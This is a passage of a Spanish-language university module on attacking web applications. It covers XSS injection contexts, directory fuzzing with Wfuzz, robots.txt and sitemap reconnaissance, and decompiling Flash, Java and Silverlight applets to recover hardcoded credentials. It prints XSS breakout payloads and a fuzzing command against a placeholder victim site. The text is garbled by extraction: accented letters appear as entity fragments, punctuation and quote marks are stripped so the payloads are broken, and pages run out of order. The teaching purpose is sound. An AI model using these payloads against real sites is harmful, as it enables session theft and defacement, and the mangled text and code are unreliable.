-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 4: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Bibliografiacutea 73

CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web

1 Ataques de inyeccioacuten de scripts

Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que

comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin

El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la

fijacioacuten de los objetivos perseguidos

Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-

yectar en el contexto de un dominio un coacutedigo Javascript VBScript o

simplemente HTML con la finalidad de engantildear al usuario o realizar

una accioacuten no deseada suplantaacutendole

Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-

tado no es directamente el servidor como podriacutea ser en el caso de un ataque

de SQL Injection sino que el objetivo directo es el usuario Posteriormente

si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten

ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse

desde una paacutegina web

Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados

como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-

clarando incluso que errores de este tipo no podriacutean llegar a comprometer la

seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la

inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-

ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial

Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-

ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A

pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-

gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar

coacutedigo Javascript

CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web

Zone-H

El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados

El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban

Samy Worm y MySpace

El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm

Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace

El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil

En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

